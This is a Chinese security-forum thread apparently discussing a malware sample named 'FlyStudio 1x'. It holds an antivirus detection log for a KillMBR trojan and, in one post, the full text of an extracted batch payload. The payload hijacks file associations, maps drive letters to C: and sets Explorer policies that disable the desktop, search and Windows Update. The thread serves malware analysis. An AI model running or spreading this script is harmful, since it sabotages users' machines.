FlyStudio 1x

显示全部楼层 · 发表于 2024-4-12 17:55:18

360企业安全云落地杀

显示全部楼层 · 发表于 2024-4-12 18:12:30

小a

显示全部楼层 · 发表于 2024-4-12 19:38:21

事件: 对象已删除
用户: DESKTOP-FJL2B1H\q
用户类型: 发起者
应用程序名称: explorer.exe
应用程序路径: C:\Windows
组件: 文件反病毒
结果说明: 已删除
类型: 木马
名称: Trojan.Win32.KillMBR.hks
精确度: 确切
威胁级别: 高
对象类型: 文件
对象名称: 爱的人间.exe
对象路径: C:\Users\qzsdbjbdn\Downloads\爱的人间
对象的 MD5: 408A2126B99410C765AFFAEEE0C099ED

显示全部楼层 · 发表于 2024-4-12 21:14:48

DisaPDB 发表于 2024-4-12 14:01
KillMBR组件被本地入库了（笑）
这得多老

当KillMBR组件被释放出来的时候，病毒已经改了许多的注册表项了（包括但不限于禁用任务管理器，注册表编辑器，添加自己到自启动项，删除DiskUpperFilters等等）

显示全部楼层 · 发表于 2024-4-12 21:52:02

OCTONAUTS 发表于 2024-4-12 21:14
当KillMBR组件被释放出来的时候，病毒已经改了许多的注册表项了（包括但不限于禁用任务管理器，注册表编 ...

太直球了，单步全拦

显示全部楼层 · 发表于 2024-4-12 23:25:11

显示全部楼层 · 发表于 2024-4-15 11:58:21

DisaPDB 发表于 2024-4-12 21:52
太直球了，单步全拦

映像劫持能不能拦住？？

显示全部楼层 · 发表于 2024-4-15 12:00:29

OCTONAUTS 发表于 2024-4-15 11:58
映像劫持能不能拦住？？

不能拦就有鬼了

显示全部楼层 · 发表于 2024-4-15 13:41:01

DisaPDB 发表于 2024-4-15 12:00
不能拦就有鬼了

这个病毒没有这么简单，albumartsmall.bat后面还会释放一个叫做Folder.bat的文件
那个BAT应该是用于创建那些奇怪的文件夹的

显示全部楼层 · 发表于 2024-4-15 13:52:54

本帖最后由 DisaPDB 于 2024-4-15 14:02 编辑

OCTONAUTS 发表于 2024-4-15 13:41
这个病毒没有这么简单，albumartsmall.bat后面还会释放一个叫做Folder.bat的文件
那个BAT应该是用于创建 ...

我提取出来看看就知道了
内容如下：

@echo off
assoc .txt=exefile
assoc .exe=txtfile
assoc .htm=exefile
assoc .html=exefile
assoc .com=txtfile
assoc .gho=txtfile
assoc .rar=txtfile
assoc .zip=txtfile
assoc .chm=txtfile
assoc .jpg=txtfile
assoc .doc=exefile
assoc .ppt=txtfile
assoc .vbs=txtfile
assoc .cmd=txtfile
assoc .bmp=txtfile
assoc .gif=txtfile
assoc .ico=txtfile
assoc .png=txtfile
assoc .jpeg=txtfile
assoc .jpe=txtfile
assoc .jfif=txtfile
assoc .fla=txtfile
assoc .swf=txtfile
assoc .avi=txtfile
assoc .mov=txtfile
assoc .asf=txtfile
assoc .wmv=txtfile
assoc .rm=txtfile
assoc .ra=txtfile
assoc .mvb=txtfile
assoc .flv=txtfile
assoc .mpg=txtfile
assoc .wav=txtfile
assoc .mpeg=txtfile
assoc .mp3=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .msi=txtfile
assoc .bat=txtfile
assoc .3g2=txtfile
assoc .dat=txtfile
reg add
HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodrives /t REG_DWORD /d 60 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f
subst b: C:\
subst h: C:\
subst i: C:\
subst j: C:\
subst l: C:\
subst m: C:\
subst n: C:\
subst o: C:\
subst r: C:\
subst t: C:\
subst k: C:\
subst p: C:\
subst q: C:\
subst s: C:\
subst u: C:\
subst v: C:\
subst w: C:\
subst x: C:\
subst y: C:\
subst z: C:\
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideClock /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWindowsUpdate /t REG_DWORD /d 01000000 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 0 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add HKEY_CURRENT_USER\SOFTWARW\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f

复制代码

谁拦截不了我笑话谁
而且还写得一堆问题

[病毒样本] FlyStudio 1x

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源